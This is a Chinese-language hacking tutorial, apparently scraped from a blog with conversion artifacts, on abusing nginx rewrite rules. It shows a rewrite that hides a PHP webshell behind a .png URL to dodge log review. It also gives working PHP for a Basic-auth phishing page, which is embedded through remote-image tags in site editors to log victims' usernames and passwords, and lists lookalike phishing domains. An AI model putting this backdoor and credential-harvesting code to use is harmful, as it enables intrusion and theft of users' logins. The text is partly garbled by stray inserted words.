Hack with rewrite

0x00 簡介

你們都知道apache,nginx等有rewrite的功能,經過rewrite規則能夠把輸入的URL轉換成另外一個URL,這是咱們常見的一種需求,可讓咱們的url變得更加簡潔。可是其實這個功能也可被用於一些別的目的。下面就簡單的介紹一下。php

0x01 後門

關於經過配置文件作後門已經有不少文章有了介紹,即.htaccess.user.ini文件構造後門,關於.htaccess後門能夠看這裏,user.ini後門P牛也發過一篇文章,能夠看這裏,固然還有檸檬師傅的php.ini構成的後門。那麼跟rewrite有什麼關係呢。其實rewrite主要是爲了逃避日誌審查,經過rewrite,咱們能夠經過訪問一個圖片後綴的文件來執行咱們的webshell,可是修改這些配置文件須要必定的權限。下面來進行一下簡單的介紹。測試的時候主要是使用nginx,因此對nginx進行一下介紹,關於apache的配置有興趣能夠本身去查一波。下面是個人配置:
ngingx.confcss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
include /usr/local/nginx/vhosts/*.conf;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
}
}

 

配置了多個域名的配置,因此針對某個域名的配置文件在vhosts裏面,要配置的域名的配置文件:mydomain.confhtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
server {
listen 80;
server_name mydomain.com;
root /www/mydomain;
index index.html index.php;
if ( $query_string ~* ".*[\;'\<\>].*" ){
return 404;
}
location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
expires 30d;
}

location ~ .*\.(js|css)?$ {
expires 7d;
}
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;

include fastcgi_params;
#設置PATH_INFO並改寫SCRIPT_FILENAME,SCRIPT_NAME服務器環境變量
set $fastcgi_script_name2 $fastcgi_script_name;
if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
set $fastcgi_script_name2 $1;
set $path_info $2;
}
fastcgi_param PATH_INFO $path_info;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name2;
fastcgi_param SCRIPT_NAME $fastcgi_script_name2;
}
}

 

要配置重定向很簡單,只須要加入nginx

1
2
3
location ~ \.png$ {
rewrite ^/img/test\.png$ /img/test.php last;
}

 

意思是匹配以png結尾的url,若是匹配到 img/test.png,則重定向到 img/test.php,因此,只須要在img目錄下存放test.php,咱們就能夠經過訪問 http://domain.com/img/test.png來訪問。以下圖:git

 
1520482949500.png

 

關於更多匹配的規則,能夠看這篇文章github

配置完須要重啓nginx服務。web

0x02 基礎認證釣魚

關於基礎認證釣魚,其實很早以前就已經有文章介紹過了,好比如何製做基礎認證釣魚頁面。其實原理就是在頁面中插入一個php的img,即:shell

1
<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>

 

php的代碼就是401的驗證,當用戶打開這個頁面的時候,因爲請求了http://site.com/1.php,因此會彈出驗證的頁面,用戶輸入帳號密碼以後,密碼則會被攻擊者記錄。apache

注:這種方法適用於Firefox和IE瀏覽器,Chrome並不會彈出基礎認證窗口。瀏覽器

爲了讓此攻擊達到更好地隱蔽效果,咱們可使用rewrite來重寫url。則使得訪問的連接文件後綴爲一個圖片。爲了達到更好地攻擊效果,寫了如下php代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
if ($user && $pass){
$fp = fopen("count.txt", "a");
$content = fread($fp);
$ip = $_SERVER["REMOTE_ADDR"];
$all = file_get_contents("count.txt");
fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
$line = substr_count($all,$ip);
fclose($fp);
}
if($line < 2){
header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
header('content-type: image/png');
echo file_get_contents("test.png");
}
?>

 

代碼的功能就是彈出認證窗口,等待用戶輸入,並將輸入的帳號密碼存到count.txt,若是此用戶輸入已達3次(一次輸入多是隨便輸入的帳號密碼),則輸出正常圖片。演示以下:

 

 
4878.gif


固然,你能夠本身定義其餘功能,好比將帳號密碼發送到郵箱等等。

 

php代碼寫好了,怎麼利用呢?
其實咱們要作到就是找各類編輯器,找那種能夠遠程插入圖片的,而後插入咱們的連接,若是網站直接把連接插入網站,那麼在加載的時候,就會加載咱們的驗證頁面。rewrite除了可讓後綴看起來是一個圖片文件,其實還能夠對一些編輯器進行繞過,好比插入遠程圖片的時候,編輯器對圖片進行預覽:

 

 
1520488071492.png

 

碰到這種狀況,咱們能夠首先使用默認配置的nginx插入圖片,以下圖:

 

 
1520488284941.png

 

插入成功並提交之後,再從新修改rewrite。這樣能夠進行一些繞過。某種情景的攻擊以下:
demo:

 
demo.gif

 

爲了達到更好地效果。攻擊者能夠註冊一個看起來受信任的域名。好比說,若是攻擊者的目標是targetdomain.com,那麼他就能夠註冊以下的相似地址:

1
2
3
4
5
6
7
targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com
相關文章
相關標籤/搜索